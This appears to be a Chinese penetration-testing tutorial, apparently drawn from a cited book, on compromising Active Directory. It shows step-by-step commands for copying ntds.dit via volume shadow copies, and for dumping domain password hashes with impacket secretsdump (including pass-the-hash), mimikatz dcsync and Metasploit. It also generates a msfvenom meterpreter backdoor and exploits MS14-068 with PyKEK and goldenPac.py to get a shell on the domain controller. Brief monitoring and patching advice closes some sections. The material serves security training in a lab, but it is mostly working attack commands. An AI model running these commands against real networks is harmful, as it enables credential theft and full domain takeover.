一、域控制器攻击
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。
在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。
1.1.1 通过ntdsutil.exe 提取 ntds.dit
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导( DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Windows Server 2003、Windows Server 2008、Windows Server 2012。
1、创建快照,命令如下。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到这里会创建一个GUID为e48cb66b-7d5e-4e2d-acb7-cf16ae409d16的快照。
2、挂载快照,命令如下。
ntdsutil snapshot "mount {GUID}" quit quit
其中GUID的值为刚刚创建的快照的GUID
可以看到快照被加载到了C:目录下。
3、拷贝快照,命令如下。
copy C:\$SNAP_202106111326_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
该命令用于将C:\windows\ntds\ntds.dit复制到本地的c:\windows\temp\ntds.dit下。
4、卸载删除快照,命令如下。
ntdsutil snapshot "unmount {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" "delete {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" quit quit
其中的e48cb66b-7d5e-4e2d-acb7-cf16ae409d16为最开始创建的快照的GUID的值。
5、查看快照,命令如下。
ntdsutil snapshot "List All" quit quit
可以看到找不到快照了,说明快照已经成功卸载删除了。
1.1.2 通过vssadmin提取ntds.dit
vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。
1、创建一个C盘的卷影拷贝,命令如下。
vssadmin create shadow /for=c:
2、将创建的卷影拷贝中的ntds.dit复制出来,命令如下。
copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit
打开c盘,可以看到ntds.dit成功创建。
3、删除卷影,命令如下。
vssadmin delete shadows /for=c: /quiet
1.1.3 利用vssown.vbs 脚本提取ntds.dit
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
下载地址:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
1、启动卷影拷贝服务,命令如下。
利用vssown.vbs 脚本提取ntds.dit
2、创建一个C盘的卷影拷贝,命令如下。
cscript vssown.vbs /create c
3、列出当前的卷影拷贝,命令如下。
cscript vssown.vbs /list
4、将ntds.dit复制出来,命令如下。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit
dir c: | findstr "ntds"
该命令可以查看ntds.dit文件是否成功复制。
5、删除卷影拷贝,命令如下。
cscript vssown.vbs /delete {198D6716-2CC7-4AED-A011-4007EC8D0A7B}
{198D6716-2CC7-4AED-A011-4007EC8D0A7B}是卷影的ID,可以通过cscript vssown.vbs /list 进行查看。
1.1.4 使用 ntdsutil 的 IFM卷影拷贝
除了按照前面介绍的方法通过执行命令来提取ntds.dit,也可以使用创建一个IFM 的方式获取ntds.dit。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit 和计算机的SAM文件复制到目标文件夹中等操作。`
在域控制器中以管理员模式打开命令行环境,输入如下命令。
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
运行该命令会在c盘下创建一个test文件夹,里面存放着ntds.dit,SYSTEM和SECURITY。
也可以直接导入nishang中的Copy-VSS.ps1脚本,命令如下。
Import-Module .Copy-VSS.ps1
Copy-VSS
通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。
1.1.5 使用diskshadow导出ntds.dit
diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,Windows Server 2008、Windows Server 2012和 Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit。
diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令。
我们可以使用 diskshadow.exe 来执行计算器。
1、通过echo创建文件
echo exec c:\windows\system32\calc.exe > c:\command.txt
2、使用diskshadow.exe执行创建的文件。
diskshadow.exe /c c:\command.txt
可以看到计算器成功弹出,命令成功执行。
现在我们来用diskshadow.exe 导出ntds.dit,命令如下。
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
在使用diskshadow.exe进行导出ntds.dit 的操作时,必须将当前域控制器执行Shell的路径切换到C:windowssystem32,否则会发错误。路径切换后,使用diskshadow.exe加载command.txt即可。
可以看到ntds.dit文件已经成功导出了。
1.1.6 监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
●监控卷影拷贝服务及任何涉及活动目录数据库文件( ntds.dit )的可疑操作行为。
●监控 System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
●监控创建diskshadow.exe及相关子进程的事件。
●监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要,在 Windows操作系统中不应该出现diskshadow.exe。如果发现,应立刻将其删除。
●通过日志监控新出现的逻辑驱动器映射事件。
1.2 导出 ntds.dit 中的散列值
1.2.1 使用 esedbexport 恢复
1、导出ntds.dit
首先下载libesedb,下载地址:https://github.com/libyal/libesedb/releases/tag/20210424
安装依赖环境,命令如下。
apt-get install autoconf automake autopoint libtool pkg-config
依次输入如下命令,对 libesedb 进行编译和安装。
./configure
make
sudo make install
sudo ldconfig
安装完成后,会在系统的 /usr/local/bin 目录下看到 esedbexport 程序。
将刚刚导出的ntds.dit文件放入文件夹中,输入如下命令提取表信息。
esedbexport -m tables ntds.dit
如果提取成功的话,会在当前目录下生成一个ntds.dit.export文件夹。
我们只需要其中的datatable和link_table即可。
2、导出散列值
在ubuntu命令行输入如下命令,下载ntdsxtract。
git clone https://github.com/csababarta/ntdsxtract.git
继续输入如下命令,安装ntdsxtract。
python setup.py build && python setup.py install
将导出的ntds.dit 和 SYSTEM 文件一同放入ntdsxtract文件夹中,输入如下命令。
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
打开 all_user.txt 文件夹即可查看域内的所有用户名及散列值。
也可以执行如下命令,导出域内所有计算机的信息,导出文件的格式是CSV。
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 computer_output --csvoutfile all_computers.csv
可以看到域内所有计算机的信息被成功导出。
1.2.2 使用impacket 工具包导出散列值
1、在ubuntu命令行中输入如下命令下载impacket 工具包。
git clone https://github.com/SecureAuthCorp/impacket.git
2、输入如下命令安装impacket工具包。
python setup.py install
3、将导出的ntds.dit 和 SYSTEM 文件一同放入impacket的example文件夹下,然后输入如下命令。
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
4、也可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下。
python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:6ab6364d6ba0c8556df9ee189342402d -just-dc hacker.testlab/administrator@1.1.1.2
1.3 利用dcsync获取域散列值
1.3.1 使用 mimikatz 转储与散列值
mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。但必须使用域管理员权限运行mimikatz才可以读取ntds.dit。在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行 mimikatz。输入如下命令,使用mimikatz导出域内的所有用户名及散列值。
lsadump::dcsync /domain:hacker.testlab /all /csv
使用mimikatz的dcsync功能也可以导出指定用户的散列值。执行如下命令,可以直接导出域用户testuser的散列值。
lsadump::dcsync /domain:hacker.testlab /user:testuser
也可以直接在域控制器中运行mimikatz,通过转储lsass.exe进程对散列值进行Dump操作,命令如下。
privilege::debug
lsadump::lsa /inject
如果不执行privilege::debug会导致权限不足、读取失败。如果用户数量太多,我们也可以将结果导出到txt文件下进行查看。
mimikatz.exe "privilege::debug" "lsadump::lsa /inject"
结果如下:
可以看到域内的所有账号和散列都被导出来了。
1.3.2 使用dcsync获取域账号和域散列值
Invoke-DCSyne.ps1可以利用dcsyne直接读取ntds.dit,以获取域账号和域散列值,其下载地 址:What more could you want? · GitHub。
输入如下命令获取域账号和散列值。
Set-ExecutionPolicy Restricted Import-Module .\Invoke-DCSync.ps1 Invoke-DCSync -PWDumpFormat (-PWDumpFormat参数用于对输出的内容进行格式化)
1.3.3 使用 Metasploit 获取域散列值
1、进入metasploit环境,输入如下命令查看可以使用的模块。
search ntds
这里列出一些可能会使用到的模块。
post/windows/gather/ntds_location 该模块可查看路径ntds post/windows/gather/smart_hashdump 在线导出域账户hash 建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab 利用域管账户,导出ntds必要文件到本地 post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump介绍其方法
2、获取一个meterpreter通道
首先通过msfvenom生成后门木马,命令如下。
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.105 lport=7777 -f exe > cc.exe
在本地开启监听。
use exploit/multi/handler set payload windows/meterpreter/bind_tcp set RHOST 10.10.10.149 set LPORT 7777 run
将后门木马上传到目标机器上并执行,即可得到meterpreter通道。
通过ps查看进程,使用migrate 将会话迁移到64位的进程中。
3、使用模块获取域散列值
1.查看ntds安装路径,命令如下。
run windows/gather/ntds_location
2.通过smart_hashdump查看域内散列值,命令如下。
run windows/gather/smart_hashdump
3.利用powershell下载ntds.dit,命令如下。
use post/windows/gather/ntds_grabber set session 5 run
将生成的文件复制到root根目录进行查看。
查看生成的文件,可以看到ntds.dit 和 SYSTEM 文件被成功导出了,后面就可以使用工具将散列值导出。
4.利用域管账户,导出ntds必要文件到本地,命令如下。
use auxiliary/admin/smb/psexec_ntdsgrab show options set RHOSTS 10.10.10.149 set SMBDomain hackbox set SMBUser administrator set SMBPass XXXXXX run
运行后即可得到ntds.dit文件,通过工具进行导出散列即可。
1.3.4 使用vsshadow.exe 和 QuarkPwDump.exe 导出域账号和散列值
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
工具准备:
QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。
下载地址:https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zip
ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下。
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive
vshadow.exe是从 Windows SDK中提取出来的。
将这三个文件放入同一个文件夹中。
运行ShadowCopy.bat 批处理文件。
可以发现成功导出了 ntds.dit 和 system.hive 文件。
运行如下命令修复复制出来的数据库。
esentutl /p /o ntds.dit
最后通过QuarksPwDump.exe导出域账号和散列值,命令如下。
QuarksPwDump.exe -dhb -sf system.hive -nt ntds.dit -o log.txt
可以看到域账号和散列成功被导出。
1.4 Kerberos 域用户提权漏洞分析域防范
1.4.1 漏洞概述
微软在2014年11月18日发布了一个紧急补丁,修复了Kerberos域用户提权漏洞(MS14-068;CVE-2014-6324)。所有Windows服务器操作系统都会受该漏洞的影响,包括Windows Server2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012和 Windows Server 2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。 这个漏洞产生的原因是:用户在向Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证TGT后,将服务票据(Service Ticket )发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
1.4.2 测试环境
●域:0day.org
●域账号:0dayjerry/Admin12345
●域SID:S-1-5-21-1812960810-2335050734-3517558805-1128
●域控制器:OWA2010SP3.0day.org
●Kali Linux 机器的IP地址:192.168.3.128
●域机器的IP地址:192.168.3.71
●域控制器的IP地址:192.168.3.142
1.4.3 PyHEK 工具包
PyKEK ( Python Kerberos Exploitation Kit) 是一个利用Kerberos 协议进行渗透测试的工具包,使用PyKEK 可以生成一张高权限的服务票据,并通过mimikatz将服务票据注入内存。
PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作)。
下载地址:GitHub - mubix/pykek: Kerberos Exploitation Kit
1.工具说明
ms14-068.py是PyKEK工具包中的MS14-068漏洞利用脚本。参数解释如下:
-u @:用户名@域名。
-s :用户SID。
-d :域控制器地址。
-p :明文密码。
–rc4 :在没有明文密码的情况下,通过NTLM Hash登录。
2.查看域控制器的补丁安装情况。
微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780。输入命令”wmic qfe get hotfixid”,未发现该补丁。
也可以通过systeminfo命令查看补丁安装情况。
3.查看用户的SID
在域内主机中输入如下命令,可以查到该用户的SID。
whoami /user
也可以通过 “wmic useraccount get name,sid”,获取域内用户的SID。
4.生成高权限票据
使用PyKEK 生成高权限票据的命令,命令如下。
python ms14-068.py -u jerry@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1128 -d 192.168.3.142 -p Admin12345
5、查看注入前的权限。
先通过dir\dcc$ 命令尝试访问C盘下的目录,发现权限不够。
6.清理内存中的所有票据。
通过mimikatz清理票据,命令如下。
kerberos::purge
7.将高权限票据注入内存,命令如下。
kerberos::ptc "TGT_jerry@0day.org.ccache"
8.验证权限
连接IP地址的操作可能会失败,如果失败则使用机器名进行连接即可。
1.4.4 在Metasploit 中测试
1、打开metasploit,执行如下命令,使用MS14-068漏洞的利用脚本。
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
2、配置参数并执行。
通过show options查看需要配置的参数,通过set进行配置。
在配置完参数后,通过run执行。
会在/root/.msf4/生成文件loot/20210614001845_default_10.10.10.149_windows.kerberos_948359.bin
3、票据格式转换
因为metasploit不支持bin文件的导入,所以要使用mimikatz进行格式转换。在mimikate中输入如下命令,导出kirbi格式的文件。
kerberos::clist "20210614001845_default_10.10.10.149_windows.kerberos_948359.bin" /export
也可以通过KrbCredExport.py 进行格式转换,命令如下。
python KrbCredExport.py 20210614001845_default_10.10.10.149_windows.kerberos_948359.bin user.ticket
4、导入生成的票据文件
将生成的票据文件导入 metasploit 中即可,命令如下。
load kiwi kerberos_ticket_use /tmp/0-00000000-testuser@krbtgt-C1AY.TESTLAB.kirbi
但是导入不成功,具体原因不知。
也可以通过impacket中的goldenpac.py进行利用,格式如下。
python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址
Kali中默认不包含Kerberos 客户端,因此需要单独安装,命令如下。
apt-get install krb5-user -y
然后输入如下命令获取域控制的shell。
python goldenPac.py c1ay.testlab/testuser:c1ay666.@dc.c1ay.testlab
goldenPac.py是通过PsExec获得Shell 的,会产生大量的日志,加之PsExec已经被很多反病毒厂商列为危险文件,所以,在日常网络维护中,我们很容易就能发现攻击者使用goldenPac.py实现的恶意行为。
1.4.5 防范建议
针对Kerberos域用户提权漏洞,有如下防范建议。
●开启Windows Update功能,进行自动更新。
●手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁。
●对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
●在服务器上安装反病毒软件,及时更新病毒库。
二、参考链接
1、《内网安全攻防渗透测试实战指南》
点击数:285